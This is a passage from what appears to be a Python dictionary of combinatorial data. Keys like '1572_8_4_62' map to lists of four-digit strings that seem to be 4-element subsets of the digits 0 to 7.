['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','0147','1247','0347','1347','2347','0157','0257','0357','0457','1457','2457','3457','0167','1267','0367','1367','2367','1467','3467','0567','1567','2567','3567','4567'] , '1572_8_4_62' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','0137','0237','1237','0147','0247','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','3567','4567'] , '1573_8_4_62' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','0137','0237','1237','0147','0247','1247','0347','1347','0157','0257','1257','0357','1357','2357','0457','1457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','3567','4567'] , '1574_8_4_60' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','0146','1246','0346','1346','2346','0156','0256','0356','0456','1456','2456','3456','0137','0237','1237','0147','0247','1247','0347','1347','0157','0257','1257','0357','1357','2357','0457','1457','2457','3457','0167','0267','1267','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1575_8_4_62' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','0246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0137','0237','1237','0147','0247','1247','0347','1347','0157','0257','1257','1357','2357','0457','2457','3457','0167','0267','1267','0367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1576_8_4_62' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','0246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0137','0237','1237','0147','0247','1247','0347','1347','0157','0257','1257','1357','2357','0457','2457','3457','0167','0267','1267','0367','1367','2367','1467','2467','3467','0567','1567','2567','3567','4567'] , '1577_8_4_62' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','0246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0137','0237','1237','0147','0247','1247','0347','1347','0157','0257','1257','0357','1357','2357','0457','2457','3457','0167','0267','1267','0367','1367','2367','1467','2467','3467','0567','1567','3567','4567'] , '1578_8_4_62' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','0246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0137','0237','1237','0147','0247','1247','0347','1347','2347','0157','0257','1257','1357','2357','0457','2457','3457','0167','0267','1267','0367','2367','1467','2467','3467','0567','1567','2567','3567','4567'] , '1579_8_4_62' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','0246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0137','0237','1237','0147','0247','1247','0347','1347','2347','0157','0257','1257','1357','2357','0457','2457','3457','0167','0267','1267','0367','1367','2367','1467','2467','3467','0567','1567','3567','4567'] , '1580_8_4_62' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','0246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','0247','1247','0347','1347','0157','0257','1257','1357','2357','0457','2457','3457','0167','0267','1267','0367','1367','2367','1467','2467','3467','0567','1567','3567','4567'] , '1581_8_4_62' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','0246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0137','0237','1237','0147','0247','1247','0347','1347','0157','0257','1257','1357','2357','0457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1582_8_4_62' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','0246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0137','0237','1237','0147','0247','1247','0347','1347','0157','0257','1257','0357','1357','2357','0457','2457','3457','0167','0267','1267','0367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1583_8_4_62' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','0246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','0247','1247','0347','1347','0157','0257','1257','1357','2357','0457','1457','2457','3457','0167','0267','1267','0367','1367','2367','1467','2467','3467','0567','1567','3567','4567'] , '1584_8_4_62' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','1236','0146','0246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','0247','1247','0347','1347','2347','0157','0257','1257','1357','2357','0457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','3567','4567'] , '1585_8_4_62' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','1236','0146','0246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','0247','1247','0347','1347','2347','0157','0257','1257','1357','2357','0457','2457','3457','0167','0267','1267','0367','1367','2367','1467','2467','3467','0567','1567','3567','4567'] , '1586_8_4_62' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','1236','0146','0246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0137','0237','1237','0147','0247','1247','0347','1347','0157','0257','1257','0357','1357','2357','0457','1457','2457','3457','0167','0267','1267','0367','2367','1467','2467','3467','0567','1567','2567','3567','4567'] , '1587_8_4_54' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','0146','0246','1246','0346','1346','2346','0156','0256','0356','0456','1456','2456','3456','0127','0137','0237','0147','0247','1247','0347','1347','2347','0157','0257','0357','0457','1457','2457','3457','0167','0267','0367','0467','1467','2467','3467','0567','4567'] , '1588_8_4_63' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0137','0237','1237','0147','0247','1247','0347','1347','0157','0257','1257','0357','1357','2357','1457','2457','3457','0167','0267','1267','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1589_8_4_63' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0137','0237','1237','0147','0247','1247','0347','1347','0157','0257','1257','0357','1357','2357','1457','2457','3457','0167','0267','1267','0367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1590_8_4_63' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0137','0237','1237','0147','0247','1247','0347','1347','0157','0257','1257','0357','1357','2357','1457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','2567','3567','4567'] , '1591_8_4_63' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0137','0237','1237','0147','0247','1247','0347','1347','0157','0257','1257','0357','1357','2357','1457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','3567','4567'] , '1592_8_4_63' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0137','0237','1237','0147','0247','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','1457','2457','3457','0167','0267','1267','1367','2367','0467','2467','3467','0567','1567','2567','3567','4567'] , '1593_8_4_63' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0137','0237','1237','0147','0247','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','1457','2457','3457','0167','0267','1267','1367','2367','0467','1467','2467','3467','0567','2567','3567','4567'] , '1594_8_4_63' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0137','0237','1237','0147','0247','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','1457','2457','3457','0167','0267','1267','1367','2367','0467','1467','2467','3467','0567','1567','3567','4567'] , '1595_8_4_63' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0137','0237','1237','0147','0247','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','1457','2457','3457','0167','0267','1267','0367','2367','0467','1467','2467','3467','0567','1567','3567','4567'] , '1596_8_4_63' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0137','0237','1237','0147','0247','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','1457','2457','3457','0167','0267','1267','0367','1367','0467','1467','2467','3467','0567','2567','3567','4567'] , '1597_8_4_63' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0137','0237','1237','0147','0247','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','1457','2457','3457','0167','0267','1267','0367','1367','2367','0467','2467','3467','0567','1567','3567','4567'] , '1598_8_4_63' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0137','0237','1237','0147','0247','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','1457','2457','3457','0167','0267','1267','0367','1367','2367','0467','2467','3467','0567','1567','2567','4567'] , '1599_8_4_63' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0137','0237','1237','0147','0247','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','1457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','0567','2567','3567','4567'] , '1600_8_4_63' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0137','0237','1237','0147','0247','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','1457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','0567','1567','3567','4567'] , '1601_8_4_63' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','0247','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','1457','2457','3457','0267','1267','0367','1367','2367','0467','1467','2467','0567','1567','3567','4567'] , '1602_8_4_61' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','0147','0247','1247','0347','1347','2347','0157','0257','0357','1457','2457','3457','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1603_8_4_63' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0137','0237','1237','0147','0247','1247','0347','1347','0157','0257','1257','0357','1357','2357','0457','2457','3457','0167','0267','1267','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1604_8_4_63' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0137','0237','1237','0147','0247','1247','0347','1347','0157','0257','1257','1357','2357','0457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1605_8_4_63' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0137','0237','1237','0147','0247','1247','0347','1347','0157','0257','1257','0357','1357','2357','0457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','1567','2567','3567','4567'] , '1606_8_4_63' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0137','0237','1237','0147','0247','1247','0347','1347','0157','0257','1257','0357','1357','2357','0457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','3567','4567'] , '1607_8_4_63' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0137','0237','1237','0147','0247','1247','0347','1347','0157','0257','1257','0357','1357','2357','0457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','4567'] , '1608_8_4_63' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0137','0237','1237','0147','0247','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','2457','3457','0167','0267','1267','1367','2367','0467','1467','2467','3467','0567','1567','3567','4567'] , '1609_8_4_63' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0137','0237','1237','0147','0247','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','2457','3457','0167','0267','1267','0367','1367','0467','1467','2467','3467','1567','2567','3567','4567'] , '1610_8_4_63' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0137','0237','1237','0147','0247','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','1567','2567','3567','4567'] , '1611_8_4_63' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0137','0237','1237','0147','0247','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','0567','1567','3567','4567'] , '1612_8_4_63' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','0247','1247','0347','1347','0157','1257','0357','1357','2357','0457','2457','3457','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1613_8_4_63' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','0247','1247','0347','1347','0157','0257','1257','0357','1357','2357','0457','2457','3457','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','3567','4567'] , '1614_8_4_63' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','0247','1247','0347','1347','0157','0257','1257','0357','1357','2357','0457','2457','3457','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','4567'] , '1615_8_4_63' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','0247','1247','0347','1347','0157','1257','0357','1357','2357','0457','2457','3457','0167','0267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1616_8_4_63' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','0247','1247','0347','1347','0157','1257','0357','1357','2357','0457','2457','3457','0167','0267','1267','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1617_8_4_63' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','0247','1247','0347','1347','0157','0257','1257','0357','1357','2357','0457','2457','3457','0167','0267','1267','1367','2367','0467','1467','2467','3467','0567','1567','3567','4567'] , '1618_8_4_63' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','0247','1247','0347','1347','2347','0157','1257','0357','1357','2357','0457','2457','3457','0267','1267','0367','1367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1619_8_4_63' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','0247','1247','0347','1347','2347','0157','1257','0357','1357','2357','0457','2457','3457','0167','0267','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1620_8_4_61' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','1247','0347','1347','2347','0157','0257','1257','1357','2357','0457','2457','3457','0167','1267','0367','1367','2367','1467','3467','0567','1567','2567','3567','4567'] , '1621_8_4_61' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','2457','3457','0167','1267','0367','1367','2367','1467','3467','0567','1567','2567','4567'] , '1622_8_4_63' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0137','0237','1237','0147','0247','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','1457','3457','0167','0267','1267','0367','1367','0467','1467','2467','3467','1567','2567','3567','4567'] , '1623_8_4_61' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0237','1237','0247','1247','2347','0157','0257','1257','0357','1357','2357','0457','1457','3457','0167','0267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1624_8_4_61' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0237','1237','0247','1247','2347','0157','0257','1257','0357','1357','2357','0457','1457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','1567','2567','3567','4567'] , '1625_8_4_61' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0237','1237','0247','1247','2347','0157','0257','1257','0357','1357','2357','0457','1457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','2567','3567','4567'] , '1626_8_4_59' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','0147','1247','0347','1347','2347','0157','0257','0357','0457','1457','2457','3457','0167','1267','0367','1367','2367','1467','3467','0567','1567','2567','3567','4567'] , '1627_8_4_63' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0137','0237','1237','0147','0247','1247','0347','1347','0157','0257','1257','0357','1357','2357','0457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1628_8_4_63' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0137','0237','1237','0147','0247','1247','0347','1347','2347','0157','0257','1257','1357','2357','0457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1629_8_4_63' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0137','0237','1237','0147','0247','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','2457','3457','0167','0267','1267','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1630_8_4_63' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0137','0237','1237','0147','0247','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','2457','3457','0167','0267','1267','0367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1631_8_4_63' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0137','0237','1237','0147','0247','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','3567','4567'] , '1632_8_4_63' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0137','0237','1237','0147','0247','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','4567'] , '1633_8_4_63' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','0247','1247','0347','1347','0157','1257','0357','1357','2357','0457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1634_8_4_63' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','0247','1247','0347','1347','0157','0257','1257','0357','1357','2357','0457','2457','3457','0167','0267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1635_8_4_63' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','0247','1247','0347','1347','0157','0257','1257','0357','1357','2357','0457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','3567','4567'] , '1636_8_4_63' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','0247','1247','0347','1347','2347','0157','1257','0357','1357','2357','0457','2457','3457','0167','0267','1267','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1637_8_4_63' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','1237','0147','0247','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','2457','3457','0167','0267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1638_8_4_63' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','1237','0147','0247','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','3567','4567'] , '1639_8_4_63' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','0247','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','2457','3457','0167','0267','1267','1367','2367','0467','1467','2467','3467','0567','1567','3567','4567'] , '1640_8_4_61' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','0247','1247','0347','1347','2347','0257','1257','0357','1357','2357','0457','1457','3457','0267','1267','0367','1367','2367','0467','1467','2467','3467','2567','3567','4567'] , '1641_8_4_63' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0137','0237','1237','0147','0247','1247','0347','1347','0157','0257','1257','0357','1357','2357','0457','1457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','3567','4567'] , '1642_8_4_63' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0137','0237','1237','0147','0247','1247','0347','1347','2347','0157','0257','1257','1357','2357','0457','1457','2457','3457','0167','0267','1267','0367','1367','2367','0467','2467','3467','0567','1567','2567','3567','4567'] , '1643_8_4_63' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','0247','1247','0347','1347','0157','0257','1257','1357','2357','0457','1457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','3567','4567'] , '1644_8_4_61' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0237','1237','0247','1247','2347','0157','1257','0357','1357','2357','0457','1457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1645_8_4_61' : 